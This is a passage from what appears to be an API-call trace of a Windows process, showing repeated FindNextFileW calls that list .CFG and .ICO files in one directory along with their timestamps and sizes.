ftCreationTime.dwHighDateTime=0x1c67f43, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97071d00, ftLastWriteTime.dwHighDateTime=0x1c67f43, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7feec00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7feec00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142d2200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x142d2200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273ff200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x273ff200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0201.433] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0201.433] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0201.433] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4466a600, ftCreationTime.dwHighDateTime=0x1c9449a, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4466a600, ftLastWriteTime.dwHighDateTime=0x1c9449a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0201.433] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fb15d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0201.433] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0201.434] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216f7400, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x216f7400, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecff500, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ecff500, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081d900, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3081d900, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0201.435] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0201.436] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabc91200, ftCreationTime.dwHighDateTime=0x1bfc4b1, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabc91200, ftLastWriteTime.dwHighDateTime=0x1bfc4b1, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", cAlternateFileName="")) returned 1 [0201.449] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, 